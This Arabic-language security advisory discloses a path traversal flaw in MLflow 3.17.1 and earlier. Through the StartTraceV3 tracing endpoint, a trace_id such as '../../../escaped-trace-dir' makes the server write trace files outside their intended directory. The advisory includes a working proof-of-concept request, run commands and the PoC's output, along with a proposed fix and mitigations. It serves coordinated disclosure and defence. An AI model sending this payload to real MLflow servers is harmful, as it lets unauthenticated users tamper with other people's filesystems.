
MLflow <=3.17.1 يسمح اجتياز المسار بكتابة ملفات التتبع خارج الدليل المقصود.
<= 3.17.1 عبر StartTraceV3الخطورة: عالية، CVSS 3.1 8.2
المتجه: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L
المتأثر: إصدارات MLflow <= 3.17.1 عند استخدام خلفية التتبع FileStore
المكوّن: واجهة MLflow Tracing API، StartTraceV3 / FileStore.start_trace()
CWE: CWE-22 (التقييد غير السليم لاسم المسار إلى دليل محظور)، CWE-23 (اجتياز المسار النسبي)، CWE-73 (التحكم الخارجي في اسم الملف أو المسار)
تم اكتشافه والإبلاغ عنه بواسطة: Sai Teja Erukude
يقبل MLflow قيمة trace_info.trace_id التي يتحكم بها العميل عبر
واجهة التتبع StartTraceV3. عندما تكون خلفية التتبع هي FileStore، يُستخدم هذا المعرّف
في بناء مسار نظام الملفات دون رفض مقاطع الاجتياز مثل
../.
يمكن للمهاجم إرسال معرّف تتبع مثل ../../../escaped-trace-dir للخروج
من دليل تتبع التجربة المقصود. بعد ذلك ينشئ MLflow
ملفات متعلقة بالتتبع في الدليل الناتج خارج شجرة تخزين التتبع.
عندما تكون نقطة نهاية التتبع مكشوفة دون مصادقة أو قيود على الوصول، يمكن لعميل غير مصادَق عليه التأثير على موقع نظام الملفات الخاص بملفات التتبع التي يتحكم بها MLflow على خادم مدعوم بـ FileStore، وذلك رهناً بأذونات نظام الملفات لعملية الخادم. يستخدم إثبات المفهوم (PoC) المرفق عميل الاختبار المحلي الخاص بـ Flask؛ ولا يختبر التعرّض الشبكي لنشر ما أو إعدادات المصادقة الخاصة به.
يوضح إثبات المفهوم عمليات كتابة خارج دليل تتبع التجربة المقصود:
trace_info.yaml، الذي يحتوي على معلومات التتبع المقدَّمة من العميل.request_metadata/poc_metadata، الذي يحتوي على بيانات وصفية يتحكم بها المهاجم.tags/poc_tag، الذي يحتوي على قيمة وسم يتحكم بها المهاجم.يؤثر هذا على السلامة من خلال السماح لبيانات الطلب بالتحكم في المكان الذي تُكتب فيه الملفات المتعلقة بالتتبع. كما قد تتسبب الأدلة والملفات غير المتوقعة خارج شجرة تخزين التتبع في تأثير محدود على التوافر. تستخدم عملية الكتابة الموضحة تنسيقات ملفات التتبع وأسماء الملفات الخاصة بـ MLflow؛ ولا تثبت محتويات ملفات عشوائية، أو تنفيذ تعليمات برمجية، أو تأثير على السرية.
يُسنِد التقرير مقاييس CVSS 3.1 التالية:
| المقياس | القيمة |
|---|---|
| متجه الهجوم (AV) | الشبكة (N) |
| تعقيد الهجوم (AC) | منخفض (L) |
| الامتيازات المطلوبة (PR) | لا شيء (N) |
| تفاعل المستخدم (UI) | لا شيء (N) |
| النطاق (S) | غير متغير (U) |
| السرية (C) | لا شيء (N) |
| السلامة (I) | عالية (H) |
| التوافر (A) | منخفض (L) |
مسار الطلب القابل للاستغلال هو:
POST /api/3.0/mlflow/traces
-> _start_trace_v3()
-> TraceInfo.from_proto(...)
-> FileStore.start_trace(trace_info)
-> filesystem path construction using trace_info.trace_id
-> directory creation and trace information, metadata, and tag writes
يوفّر الطلب المعرّف داخل trace.trace_info:
{
"trace": {
"trace_info": {
"trace_id": "../../../escaped-trace-dir",
"trace_location": {
"type": "MLFLOW_EXPERIMENT",
"mlflow_experiment": {
"experiment_id": "0"
}
},
"trace_metadata": {
"poc_metadata": "attacker-controlled metadata"
},
"tags": {
"poc_tag": "attacker-controlled tag"
}
}
}
}
يعرض هذا المقتطف الحقول ذات الصلة بالتنقل. يبني المشغّل الطلب الكامل، بما في ذلك حالة التتبع والطابع الزمني وحقول المعاينة.
يُنتج المعرّف الذي يتحكم فيه العميل دقة المسار التالية نسبةً إلى دليل PoC:
Expected trace storage: mlruns/0/traces/
Supplied trace ID: ../../../escaped-trace-dir
Joined trace path: mlruns/0/traces/../../../escaped-trace-dir/
Resolved trace path: escaped-trace-dir/
تُعيد الاستجابة المحفوظة HTTP 200 وتحافظ على معرّف التتبع الخبيث.
تقع الملفات الناتجة بجوار mlruns/، خارج دليل تتبع التجربة
المقصود.
يبني run_poc.py طلب StartTraceV3 خبيثًا، ويهيّئ
مخزن ملفات محليًا (FileStore)، ويستدعي مسار MLflow HTTP الحقيقي عبر عميل
اختبار Flask، ويسجّل الاستجابة والأدلة على نظام الملفات. وهو يمارس
المسار دون بدء خادم شبكة يستمع.
python -m venv .venv
.\.venv\Scripts\Activate.ps1
python -m pip install -r requirements.txt
python -B run_poc.py
لطباعة النتيجة القابلة للقراءة آليًا:
python -B run_poc.py --json
يحتوي الدليل المحفوظ على هذه النتائج، مختصرة هنا:
{
"package": {
"distribution": "mlflow",
"version": "3.17.1"
},
"endpoint": "/api/3.0/mlflow/traces",
"status_code": 200,
"malicious_trace_id": "../../../escaped-trace-dir",
"checks": {
"http_success": true,
"trace_info_written_outside_traces_dir": true,
"trace_metadata_file_written": true,
"tag_file_written": true
},
"success": true
}
يقوم المشغّل بحفظ:
evidence/start-trace-request.json:
جسم الطلب الكامل.evidence/start-trace-response.json:
استجابة الخادم.evidence/escaped-trace-info.yaml:
نسخة من معلومات التتبع المكتوبة خارج دليل التتبع.evidence/summary.json:
إصدار الحزمة، والمسارات المُحلَّلة، ورمز الحالة، ونتائج التحقق.تعني success: true ورمز الخروج 0 أن اجتياز المسار قد أُعيد إنتاجه. يُرجع الفحص الفاشل
رمز الخروج 1؛ وهذا وحده لا يثبت أن إصدارًا ما قد تم إصلاحه.
تكتب الحمولة بيانات تتبع توضيحية تحت escaped-trace-dir/ داخل
دليل PoC. كما يكتب المشغّل mlruns/ وevidence/؛ وإعادة تشغيله
تستبدل الأدلة المحفوظة. استخدم نسخة جديدة عند جمع نتائج جديدة،
لأن المشغّل يتحقق من وجود ملفات قد تكون موجودة بالفعل من تشغيل سابق.
تحدد المسارات المطلقة في الأدلة المحفوظة بيئة إعادة الإنتاج الأصلية
وستختلف في نسخة جديدة.
يتضمن فيديو عرض توضيحي محلي.
تحقق من معرّفات التتبع عند حدود FileStore قبل إنشاء المسارات أو إنشاء الأدلة:
فرض هذه الفحوصات قبل أي تأثيرات جانبية على نظام الملفات. يجب أن تُطلق المعرّفات غير الصالحة
INVALID_PARAMETER_VALUE، مع إرجاع مسار HTTP رمز 400. يجب أن تستمر
معرّفات التتبع الصالحة في العمل. أبقِ القيود الخاصة بنظام الملفات في
خلفية FileStore حتى تتمكن الخلفيات الأخرى من الاحتفاظ بتنسيقات المعرّفات المدعومة لديها.
إلى أن يتم نشر تصحيح مُختبَر، قيّد الوصول إلى نقطة نهاية إنشاء التتبع أو انقل تتبع التتبع إلى خلفية SQL مُهيأة بعد التحقق من التوافق.
راجع fix.md للاطلاع على التصحيح المقترح واعتبارات التوافق
وفحوصات الانحدار. تأتي توصيات البحث والحذف من مراجعة
الشيفرة المصدرية؛ ويوضح PoC المرفق مسار الإنشاء StartTraceV3.
اكتشفه وأبلغ عنه Sai Teja Erukude.
تم تنسيق الإفصاح عبر VulnCheck.